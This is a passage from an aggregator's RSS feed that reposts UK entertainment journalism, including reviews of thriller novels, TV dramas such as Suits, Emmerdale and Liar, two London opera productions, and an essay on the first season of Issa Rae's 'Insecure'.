So when Nate acquires a new girlfriend the stakes are disturbingly high. How far will Juliette go to win back her man? Spectacularly far, it turns out.

Hamilton is a former flight attendant and The Perfect Girlfriend gives a fascinating behind-the-scenes insight into the life of an air stewardess. Her debut novel is written with a gleeful zeal that leaps off the page and its momentum comes from the reader watching and waiting to see how far Juliette will go in her ruthless, obsessive pursuit of Nate. You will be nail-bitingly terrified for him long before you meet him.

Juliette is an unforgettably monstrous character: cold, calculating and entirely lacking in empathy. Her appalling scheming made me gasp aloud as I read, although her unhinged behaviour stems from a bleak back story that feels a little at odds with this larger-than-life romp of a novel. And as the plot unspools there are times when you have to suspend disbelief.

But Juliette is such a memorable, grippingly unpredictable character that you’ll be happy to go along for the turbulent ride.

CHARLOTTE HEATHCOTE

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If you like your crime fiction dark this is for you

THE SMILING MAN by Joseph Knox Doubleday, £12.99

*****

If you like your crime fiction dark, gritty and contemporary, then Joseph Knox’s latest novel is for you. In Knox’s debut novel Sirens, a Waterstones Thriller Of The Month, Manchester detective Aidan Waits embarked upon an undercover investigation into a drugs gang but it rapidly spiralled out of control. So as The Smiling Man opens, Waits is in disgrace, covering the night shift with politically incorrect DI Peter Sutcliffe (the book is dripping with dark humour) and the pair become involved in a bizarre case when an unidentifiable smiling corpse is found in an abandoned city centre hotel.

Times are tough in Manchester. Prostitutes are using the hotel, there is a huge problem with the drug “spice” and rumours abound of a serial killer on the loose in the city.

At the same time an alt-right journalist is trying to blackmail a young woman with a sex video. There is also a parallel flashback storyline involving a young boy called Wally who is used as a decoy by Bateman, an unspeakably violent sadist in a relationship with his mother.

The book opens with Wally witnessing the horrific murder of an elderly couple by Bateman. Knox’s novel is hugely detailed and involving, written with style and drawing together multilayered plotlines to a satisfying conclusion. Among a colourful and believable cast of supporting characters, it is the flawed, very human Aidan Waits who forms the solid centre of the novel.

His colleagues may not like or trust him yet the reader is very much on the side of a man whose childhood in foster care means he is emotionally distant but drawn to help the vulnerable people he encounters.

I would recommend reading Sirens first for a clear understanding of DC Waits and his background. But careful reading of The Smiling Man will also take new readers on a dark and engrossing ride through the mean streets of Manchester.

CLAIR WOODWARD

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A promising debut from a clearly talented writer

ONLY CHILD by Rhiannon Navin Mantle, £12.99

*****

It would be hard to find a more timely release than this compelling novel from Rhiannon Navin. It deals with the aftermath of a school shooting in America, seen through the eyes of six-year-old Zach. The book opens as he cowers in a cupboard with his teacher and the rest of his kindergarten class listening to the “pop pop pop” of gunfire.

After an agonising wait the children are rescued and reunited with their parents.

But when Zach’s mother arrives her relief at finding her young son unharmed is short-lived when she realises that her older boy is missing.

In its examination of how both a family and a community struggle to cope with such a traumatic event, Only Child feels eerily prescient in the wake of the most recent school shooting in Florida.

It is impossible not to be moved by Zach’s heartbreaking narration as he tries to navigate his new life where the adults he has always relied on start acting in ways he cannot understand.

Moving and extremely thought-provoking, this is a very promising debut from a clearly talented writer.

MERNIE GILMORE

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]]> https://briefnews.eu/high-drama-in-store-plus-a-stab-at-a-classic-a-selection-of-gripping-grim-new-thrillers/feed/ 0 Suits Hard Truths review: A gripping watch as Donna and Harvey deal with that kiss https://briefnews.eu/suits-hard-truths-review-a-gripping-watch-as-donna-and-harvey-deal-with-that-kiss/ https://briefnews.eu/suits-hard-truths-review-a-gripping-watch-as-donna-and-harvey-deal-with-that-kiss/#respond Thu, 29 Mar 2018 11:32:33 +0000 http://briefnews.eu/suits-hard-truths-review-a-gripping-watch-as-donna-and-harvey-deal-with-that-kiss/

WARNING: This article contains spoilers from Suits season 7, episode 11: Hard Truths

Hard Truths saw the pace picking up as it was a race against time to stop Jessica Pearson (played by Gina Torres) getting disbarred.

However, it looked like the managing partner was toast after both Harvey and Louis Litt’s (Rick Hoffman) attempts to save her failed.

Episode 11 ended with Harvey agreeing with the ethical board that Jessica should be disbarred for allowing Mike Ross (Patrick J. Adams) to work at the firm despite being unqualified as a lawyer.

Harvey Specter (Gabriel Macht) was left torn for allowing Jessica to fall on her own sword in order to save the firm and him.

SUITS SEASON 7, EPISODE 11 RELEASE DATE

After all, he was the person who hired Mike in the first place despite knowing full well that he did attend Harvard or have any formal legal training for that matter.

Season seven, part B will continue with the fall of Jessica as the latter half of the run sets up for her spin-off series and complete departure from Suits.

Jessica’s disbarring storyline proved to be a gripping and tense watch that will be keeping fans of the show glued to their seats. But it wasn’t the only compelling reason to watch Hard Truths.

The kiss between Harvey and Donna Paulsen (Sarah Rafferty) was finally addressed as the attorney seemed to dismiss it initially but it was clear he still had feelings for the COO. It seems time that the pair could finally become an item after all these seasons of banter and flirting.

SUITS SEASON 8 RELEASE DATE

They’ve slept together before and Harvey has even admitted before that he’s in love with her – and Hard Truths seemed to compound he feelings further as the words were on the tip of his tongue again.

Just like Jessica’s story arc, the will they/won’t they between Darvey – the endearing name given to the couple – will be playing out over the remaining episodes.

Let’s hope that the pair do get together in the end, particularly with Meghan Markle and Mike Ross leaving there’s opening for another Suits couple.

All this reviewer can say is poor Paula Agard (Christina Cole). The therapist has desperately been trying to avoid heartbreak but it looks like that’s exactly what Harvey is going to end up doing. Their relationship appeared to be on the brink of disaster after Harvey finally owned up to sleeping with Donna in the past.

Speaking about Mike and Rachel, there was foreshadowing after he expressed a desire to work with his fiancée on more cases. Will the pair be establishing a law firm together?

WHY IS PATRICK J ADAMS LEAVING SUITS?

While audiences will have to wait and see just how the couple will be bowing out, one thing was for sure: the wedding is back on.

They had previously put wedding planning on the back burner after work took over with Mike getting involved in a collusion case between Reform Corp. and Masterton Construction.

Next week’s episode will be continuing with more of the same as Jessica asks Harvey for $ 2 million to be put in an untraceable bank account. What is she up to?

Suits season 7 drops weekly on Netflix on Thursdays at 8am.

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]]> https://briefnews.eu/suits-hard-truths-review-a-gripping-watch-as-donna-and-harvey-deal-with-that-kiss/feed/ 0 Come Home: Christopher Eccleston's accent in gripping BBC drama DIVIDES viewers https://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/ https://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/#respond Wed, 28 Mar 2018 01:43:17 +0000 http://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/

Christopher Eccleston, who plays Northern Irish mechanic Greg in the brand new three-part BBC series, Come Home, made quite the impression on viewers.

Despite a gripping introduction, which saw Christopher’s character rescue his friend Brenna (played by Kerri Quin) from her abusive husband, viewers couldn’t get past one thing – his voice.

Those watching at home were divided over his Irish accent, with some amazed by how realistic it was, meanwhile others complained that it was “dodgy”.

Taking to social media to debate Christopher’s portrayal of a Northern Irish man, one viewer tweeted: “Christopher Eccleston with an Irish accent interesting.”

“Omg, I can’t get my head around Christopher Eccleston’s Irish accent,”(sic) added another.

Meanwhile, others praised the actor, with one writing: “Great accent Christopher Eccleston in this Come Home.”

While another said: “Jesus, Christopher Eccleston’s Belfast accent isn’t half bad!”

A third gushed: “So I’m from Belfast and can confirm @Christopher_Ecc in Come Home is one of the most authentic accents I’ve heard from a non-Belfastian. Stellar actor.”

However, some viewers weren’t as impressed with Christopher’s acting, as one tweeted: “Finding Christopher Eccleston with a thick Belfast accent very, very disconcerting.”

“Marie left Greg because of his dodgy Irish accent,” joked a second.

Elsewhere, Brenna’s behaviour left viewers at home sceptical of her after she made herself at home in Greg’s house and encouraged his teenage children to drink.

“Yep, Brenna’s a whole heap of trouble wrapped in a disaster,” said one viewer.

While another asked: “Has Christopher Eccleston just shacked up with the roughest bird in NI? This is excruciating.”

Earlier this week Christopher admitted that he had fallen in love with Belfast while filming Come Home in the city.

“I have to say, I’ve fallen in love with Belfast very much. It’s an incredible place. I could get moved by it,” Christopher told Belfast Live.

He added: “I’d love to come back. I feel like Belfast will always be part of my life now. I’m based in London because my children (Albert and Esme) are there, but I’ll definitely be back.”

Come Home airs on BBC One on Tuesday, April 3 at 9pm.

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]]> https://briefnews.eu/come-home-christopher-ecclestons-accent-in-gripping-bbc-drama-divides-viewers/feed/ 0 Emmerdale spoilers: David Metcalfe and Tracy SPLIT? Star teases gripping new storyline? https://briefnews.eu/emmerdale-spoilers-david-metcalfe-and-tracy-split-star-teases-gripping-new-storyline/ https://briefnews.eu/emmerdale-spoilers-david-metcalfe-and-tracy-split-star-teases-gripping-new-storyline/#respond Wed, 28 Feb 2018 05:16:05 +0000 http://briefnews.eu/emmerdale-spoilers-david-metcalfe-and-tracy-split-star-teases-gripping-new-storyline/

In a recent episode of Emmerdale, David (played by Matthew Wolfenden) discovered that his wife used to be a prostitute and had a dalliance with Phil (Ryan Hayes).

Now, the shop owner is struggling to get over the fact that Tracy (Amy Walsh) once accepted money in exchange for sex.

When Phil’s trial is made the front page story of the local newspaper, he is terrified that the entire village will find out about his wife’s past.

Desperate to keep it a secret, David bins every single newspaper that is delivered to his store ahead of his dinner with Dr Cavanagh.

The businessman is up for a retail award for the shop and invites Dr Cavanagh, who is judging the contenders, over for a meal in a bid to impress him.

But things soon turn sour when his wife discovers that he has thrown the newspapers away to prevent anyone from ever finding out what she did as a teenager.

Matthew Wolfenden told Metro: “David is up for a retail award for the shop and he finds out that Dr Cavanagh is on the panel of judges.

“So David invites him, his wife and their daughter around. She’s in Jacob’s class at school.

“They come for a meal and during the meal Tracy gets a little bit drunk, goes outside and finds the papers in the bin.

“She comes back in and says in front of everyone: ‘Oh, has David told you I used to be a prostitute?’

“The doctor gets up with his wife, who’s a teacher, and very prim and proper and says: ‘I think we better leave now.’ So that is another point where David is like with Tracy: ‘Do you know what, I’m done with you.‘“

After Tracy’s discovery, things get heated between the pair and David ends up saying a bunch of very hurtful things to her.

Amy said: “She’s quite proud of herself for standing up to Phil. Phil has got all the shame on him. Tracy’s like: ‘How can you not be proud of me for helping other people?’

“It’s all to do with David’s ego and his business and he wants to win this award.

“It’s that line where we’re outside and she says: ‘I see you’ve been hiding the papers. I know you’re ashamed of me’ and he says something like: ‘Well, am I meant to be proud?’ That’s a killer isn’t it?”

Could this be the end of David and Tracy? Or will David find a way to live with her past?

Emmerdale continues tonight on ITV at 7pm.

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]]> https://briefnews.eu/emmerdale-spoilers-david-metcalfe-and-tracy-split-star-teases-gripping-new-storyline/feed/ 0 The Good Wife's Archie Panjabi stars in gripping ITV thriller Next of Kin https://briefnews.eu/the-good-wifes-archie-panjabi-stars-in-gripping-itv-thriller-next-of-kin/ https://briefnews.eu/the-good-wifes-archie-panjabi-stars-in-gripping-itv-thriller-next-of-kin/#respond Sat, 06 Jan 2018 01:11:17 +0000 http://briefnews.eu/the-good-wifes-archie-panjabi-stars-in-gripping-itv-thriller-next-of-kin/

But it was Archie’s scene-stealing turn as enigmatic criminal investigator Kalinda Sharma in six seasons of US legal hit The Good Wife that catapulted her to international fame and won Archie an Emmy Award. 

Now it means that Archie, at the age of 45, is finally up for well-deserved lead roles rather than supporting parts. She turned down a handful of roles after leaving The Good Wife in 2015, in order to wait for a part that was “a good match”. Next Of Kin, a new ITV thriller, tackling family ties and terrorism, is that. 

It sees Archie in her first big lead TV role as Mona Harcourt, a successful London GP whose life is upended by tragedy. 

Very much the heart and head of her extended British-Asian family, Mona is also happily married to Guy, a political lobbyist played by Pirates Of The Caribbean’s Jack Davenport, with whom she has a son. 

“When I read the first draft for Next Of Kin, my instant reaction was that I was captivated by it, in particular the character of Mona and her journey over six episodes,” says Archie.

“It’s timely and very unique in this day and age, when we’re so bombarded with content, that you see something unique with a strong character at its centre.”

Mona’s idyllic life is shattered when her brother, Kareem (Navin Chowdhry), also a doctor but working at a clinic in Lahore, Pakistan, is abducted and murdered by suspected terrorists.

On the same day he’s killed, there’s a terrorist attack in London. As Mona tries to get to the bottom of Kareem’s murder, the police begin to behave with suspicion towards the family – in particular, towards Kareem’s university-age son, Danish (Viveik Kalra), accusing him of being involved in the London attack and his father’s murder. 

“Basically, as the investigation intensifies, Mona desperately tries to fight tooth and nail for her nephew’s innocence,” says Archie. “The police investigate Kareem’s life and Dani’s life and because it becomes fairly public, it does affect every member of the family in a different way. 

It affects their son and Mona’s relationship with her husband.”

Jack Davenport, who’s also made a name for himself on US TV, starring in numerous TV series like Smash (2013) and this year’s comedy hit White Famous, returns to his British roots as Guy, a well-spoken lobbyist whose marriage comes under considerable strain in the aftermath of Kareem’s killing. 

Being part of a family whose members are suspected of having terrorist sympathies impacts Guy’s career in the corridors of power.

“Anything that involves a family member in situations where the gears of state might start grinding in your direction could be tricky and compromising and dividing,” explains Jack, 44. 

Part of what appealed to him about the role is Guy’s unconventional family. It’s not often you see a privately educated Home Counties type marry into an extended, non-nuclear British Asian family, he points out.

“The major reason for doing a role is the material speaks to you,” adds Jack. “I thought from the get-go that Next Of Kin is very smart.” 

“It’s been quite nice to be sent scripts that, 10 or 15 years ago, I wouldn’t have dreamed of,” says Archie.

“I don’t take it for granted – I know it can stop – but it’s a really nice feeling.”

Next of Kin airs on ITV on Monday at 9pm

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]]> https://briefnews.eu/the-good-wifes-archie-panjabi-stars-in-gripping-itv-thriller-next-of-kin/feed/ 0 Gioachino Rossini's Semiramide: Show-stopping and gripping with a superb music production https://briefnews.eu/gioachino-rossinis-semiramide-show-stopping-and-gripping-with-a-superb-music-production/ https://briefnews.eu/gioachino-rossinis-semiramide-show-stopping-and-gripping-with-a-superb-music-production/#respond Sun, 26 Nov 2017 01:48:27 +0000 http://briefnews.eu/gioachino-rossinis-semiramide-show-stopping-and-gripping-with-a-superb-music-production/

Chief among them was Semiramide, a melodrama set in ancient Babylon featuring the scandalridden life of Assyria’s legendary warrior queen.

Rossini wrote the title role for his wife, the diva Isabella Colbran, who, by the time the opera was premiered in 1823, found the demanding role beyond her capabilities.

This may be one reason the opera is so rarely performed, the other being its length: four hours, even with cuts.

There could be no better choice for the role of Semiramide than stellar mezzo Joyce DiDonato.

She takes the show-stopping coloratura in her stride and also finds a sympathetic side to the despotic queen.

Quite an achievement, as Semiramide has had her husband King Nino murdered by her lover Assur.

She ditches Assur for handsome young General Arsace, regardless that he loves the princess Azema.

All unravels with the discovery that Arsace is really her long lost son, thus adding incest to the heady brew.

Director David Alden, with designers Paul Sternberg and Buki Shiff, sets the opera in a modern political dystopia, opening on to a gigantic statue and super-size portraits of the despot’s family.

Alden’s production is gripping in key scenes such as the raising of the ghost of Nino but irritating at times – especially in bandaging Jacquelyn Stucker’s Azema into a glitzy straitjacket.

The singing is superb, though. Daniela Barcellona brings a rich burnished mezzo to Arsace, blending beautifully with DiDonato in duet “Alle Piu Care Immagini” (The Most Cherished Images).

American tenor Lawrence Brownlee’s Indian Prince Idreno delivers his virtuoso aria with nonchalant ease while bassbaritone Mirco Palazzi, stepping in after the first act to replace an ailing Michele Pertusi, delivers a powerful Assur. 

The orchestra of the Royal Opera under Sir Antonio Pappano gives a lively account of Rossini’s score. 

Royal Opera House, London WC2 (Tickets: 020 7304 4000/ roh.org.uk; £37-£245)

Nico Muhly’s Marnie English National Opera The Coliseum, London WC2 (Tickets: 020 7845 9300/ eno.org: £12-£125)

American composer Nico Muhly claims Winston Graham’s 1961 suspense novel rather than Alfred Hitchcock’s film inspired his opera Marnie, given its world premiere at the Coliseum last week. Muhly and librettist Nicholas Wright return to the novel’s 1950s England in an intriguing psychological study centring on childhood trauma.

The story is seen from the viewpoint of Marnie, a con artist who assumes multiple identities and commits multiple thefts because of mystery trauma.

Her downfall comes when her glamorous new persona is rumbled, as the man she intends to defraud had chanced on her in a previous incarnation as a frumpy secretary.

He blackmails her into marriage and attempts to rape her when she refuses to have sex with him, then calls in a psychoanalyst to get to the root of her neurosis.

Michael Mayer’s production nicely evokes the 1950s, and devotees of the era may wallow in references to prawn cocktail and Babycham.

Four “Shadow Marnies” in swagger coats of shocking pink, blue, green and orange lend an inner voice to the tormented heroine.

Rising American soprano Sasha Cooke gives an immaculate performance as Marnie, and Canadian bass-baritone Daniel Okulitch plays her nemesis Mark Rutland. Counter tenor James Laing is Mark’s gamester brother Terry, and Lesley Garrett gives an excellent cameo portrayal as Mark’s formidable mother.

The cinematic-style score is finely performed by ENO’s Orchestra under music director Martyn Brabbins.

Rating: 3/5

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Daily Express :: Entertainment Feed

]]> https://briefnews.eu/gioachino-rossinis-semiramide-show-stopping-and-gripping-with-a-superb-music-production/feed/ 0 Liar: Does THIS person know the murderous TRUTH in ITV's gripping new drama?  https://briefnews.eu/liar-does-this-person-know-the-murderous-truth-in-itvs-gripping-new-drama/ https://briefnews.eu/liar-does-this-person-know-the-murderous-truth-in-itvs-gripping-new-drama/#respond Tue, 12 Sep 2017 10:45:54 +0000 http://briefnews.eu/liar-does-this-person-know-the-murderous-truth-in-itvs-gripping-new-drama/

Viewers were gripped to the tricky case between Laura (played by Joanne Froggatt) and Andrew (Ioan Gruffudd) as the former says she was raped but the latter says he is innocent. 

The harrowing tale made plenty of twists and turns as the ITV drama drip-fed tiny bits of information to help them piece together the case. 

However, with all eyes on the rape case, it seems that one small detail was missed as a character threatened to murder Andrew. 

Laura’s sister, Katy, works with the hunky surgeon and was one of the driving forces encouraging the two lead characters to date.

But as she egged on her colleague, Katy warned Andrew: “If you hurt her, I’ll kill you.”

Although a throwaway line at the time, bosses behind the drama have promised that almost every character is hiding something. 

As viewers should trust no one, will Katy make good on her promise and avenge her sister’s alleged rape. 

This comes after episode one’s dramatic cliffhanger which saw the teacher come to the conclusion that Andrew drugged her by switching the wine glasses. 

Although her memory is hazy from the night, Laura convinces herself that she has remembered the truth and outs Andrew as a rapist on social media. 

But with five more episodes to go, fans have a long way to go before they discover who is really telling the truth. 

Liar continues next Monday on ITV at 9pm. 

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Daily Express :: TV and Radio Feed

]]> https://briefnews.eu/liar-does-this-person-know-the-murderous-truth-in-itvs-gripping-new-drama/feed/ 0 How Casual Complexity Built to a Gripping Emotional Arc in the First Season of Issa Rae’s ‘Insecure’ https://briefnews.eu/how-casual-complexity-built-to-a-gripping-emotional-arc-in-the-first-season-of-issa-raes-insecure/ https://briefnews.eu/how-casual-complexity-built-to-a-gripping-emotional-arc-in-the-first-season-of-issa-raes-insecure/#respond Tue, 18 Jul 2017 22:22:30 +0000 http://briefnews.eu/how-casual-complexity-built-to-a-gripping-emotional-arc-in-the-first-season-of-issa-raes-insecure/ We’re pretty big fans of Issa Rae’s so-real series, Insecure. So to celebrate season 2, we’re taking a look back at the acclaimed first season, and recapping the highly anticipated new episodes. Don’t miss the return of Insecure on Sunday, July 23 at 10:30pm, only on HBO.

The penultimate episode of Insecure‘s first season builds to Hitchkock-level (it’s scary, emotionally!) tensions with the collision of everything creator/star Issa Rae’s character Issa Dee has been working towards, or self-destructively working against, throughout the season. In these first eight episodes of the series, Issa began to thrive at her work, “We Got Y’all” —the nonprofit whose logo of a giant white hand benevolently cupping three miniature silhouetted black children figures, speaks volumes to how the organization sees itself. By Episode 7, despite obstacles stemming from the cattiness and obliviousness of some of her more insufferable “altruistic” white colleagues, Issa has managed to assert herself and partially actualize her vision for a fundraiser meant both to butter up potential donors and truly honor the students. That evening, unfortunately, also becomes host to a meeting she’d hoped would never occur: that of her boyfriend, Lawrence (Jay Ellis), and the man with whom she very recently had an affair, Daniel (Y’lan Noel). After presenting us with one of the more complex female friendships television has to offer, the show has also grounded Issa’s relationship with Molly (Yvonne Orji) in enough layered history to allow them to truly tear into each other’s insecurities in the ways only best friends can. And somehow, this also happens on that emotionally boiling evening of the We Got Y’All fundraiser gala in Episode 7 (“Real as F**k.”) 

And so a bold dramatic framework emerges from Insecure‘s confident nonchalance: these everyday lives, and everyday insecurities, become so comfortable and familiar that when they escalate to something as gut-wrenching as the confrontation between Issa and Lawrence — and Issa and Molly, and Issa and Daniel, for that matter — you’ll be surprised by what’s hit you. In Season 1, the nuance, discomfort, beauty, and hilarity of isolated small moments truly build to something — and the existence of that casual setup wherein we simply get to live with the characters ensures that the cheating/losing it all narrative doesn’t seem trite, but rather weighted in real stakes. Sure, this is a comedy — and a very, very funny one — but Insecure is another example of television that leaves old notions of what comedy can and can’t do, what ground comedy can and can’t cover, at the door. How did the show so effortlessly build up to the sheer rawness of its final episodes? 

The series employs a tactic of casual immersion that ultimately goes quite deep: immersion into Issa, Molly, and Lawrence’s work, sex, and social lives. While many series focus disproportionately on one or the other, Insecure understands how they each bleed into one another, and gives them all equal time to develop and provide insight into the ways these characters move throughout their days. In this, it affords itself the room to meticulously examine the nuances of race and performance, delving into what’s spoken and unspoken as these characters traverse different racialized/economic planes from their time work to hanging to dating.

Molly, for example, is a corporate lawyer and the only black woman working in her office — until a new hire, a summer associate named Rashida, shows up. Rashida, as Molly perceives, doesn’t understand the necessity of code switching in order to function as a black woman within a sphere dominated by bourgeois white social expectations — and, of course, sheer racism. The show’s multilayers are on full display when Molly attempts to impose her advice for how to act less “black” on Rashida, and Rashida rightfully rebukes Molly’s wisdom-sharing as condescension and stereotyping. It becomes even more uncomfortable and disheartening when it’s also made clear that Molly’s urge wasn’t unsubstantiated: she’s worked here long enough to know what her colleagues tacitly won’t accept. Eventually, her colleague asks her to “have a talk” with Rashida, sub-textually demanding Molly act as a bridge between Rashida and their perception of acceptability tied to whiteness and class.

Issa’s work experience similarly explores the unspoken, but using a different (and more comical) tactic: often, when one of her mostly-white coworkers attempt to undermine her or override her, we see Issa speaking her mind —— but then we see what really gets said. Sometimes, in order not to be further undermined by the  “angry black woman” stereotype, what really gets said is…just a shrug or a half-grimacing smile.

Things are no less complicated within Issa’s personal life — which, for much of the first season, she feels is mired by her relationship to the kind but stagnant ways of her boyfriend, Lawrence. The season begins with big hints of where it’s ultimately leading: in the first episode, she has the impulse to go to an open mic to see Daniel, her Ty Dolla Sign-producing sort-of-ex. Though nothing happens for quite a while, you’re primed to assume — correctly — that it will. That’s not the only thing that’ll come back to haunt Issa that night: there, she also freestyles “Broken Pussy,” a rap about Molly’s vagina, which we’ll later find out someone just so happened to record. Speaking of Molly’s “Broken Pussy,” Yvonne Orji’s character’s relationship to love and sex and dating is another of the more highly developed elements of the series. Largely because of the social mobility Molly’s earned professionally by setting crazy expectations for herself, her sex life is full of at-times backwards projections about class and image. How will it fit into the constricting ideals she’s imposed on herself to match those of society? How will it fit into her constricting ideals of black masculinity — and what it means for her femininity — if she dates a man who (even just once) got blown by another man?

Molly’s game-playing with Jared, who works as a salesman at Enterprise, is one of the show’s strongest examples the necessity of showing the worst sides of a character in order to make them real. First she rejects him after joining the The League, and realizing that her dating life can, with the help of an elitist app, match her professional vision of getting to the top of the hierarchy. But when she gets condescended to by a man (played by Jidenna!) she slept with — and then all too rapidly tried to sculpt a “relationship” with — from the app she suddenly wants Jared back. So, with his class no longer seeming an issue, things are looking great for Molly and Jared…until she finds out he once did sex stuff with a man, and rejects him as though a blow-job has forever tainted his ability to embody masculinity within a relationship with a woman. Molly, in the ways her insecurities are reflected in her dismissive treatment of some people who come in and out of her life, is painfully real.

These habits of Molly’s, Issa’s infidelity, and the race and class tensions of within their professional lives come to a head in the aforementioned seventh episode of the season, where both Issa and Molly and Issa and Lawrence’s relationships threaten to break irreconcilably at the fundraiser. After Lawrence has his suspicions confirmed about Issa’s one-time affair with Daniel, he leaves their apartment in a quiet fury; ultimately, in the finale, as we’re hoping — and Issa’s hoping — that Lawence will come back to her, we instead see him having explosive sex with the woman who works at the bank near his job at Best Buy. The future of their relationship is left open, though it’s hard not to feel like, at least for a while, Issa will be doomed to following Molly into the bleak world of online dating. (In fact, if you’ve seen the trailer for Season 2, you’ll know this is the case.)

The different facets of life depicted on the show are also rendered with sensorial hyper-specificity by the team, presumably particularly as overseen by Rae, co-creator Larry Wilmore, and “Formation” director Melina Matsoukas, who executive produces and directs four of the eight episodes, Raphael Saadiq (who provides original music) and Solange Knowles, who was a consultant for the series’ unparalleled soundtrack. As it crosses L.A. from the monolithic, glistening, “money”-screaming skyscrapers of downtown to the ’50s apartment complexes and bars of Englewood, Insecure pulls off something rare: something that seems so casual, that looks and sounds so attractively effortless, yet whose every moment feels weighted in humor, or emotional complexity, or social commentary — often with no separation of any of the three.

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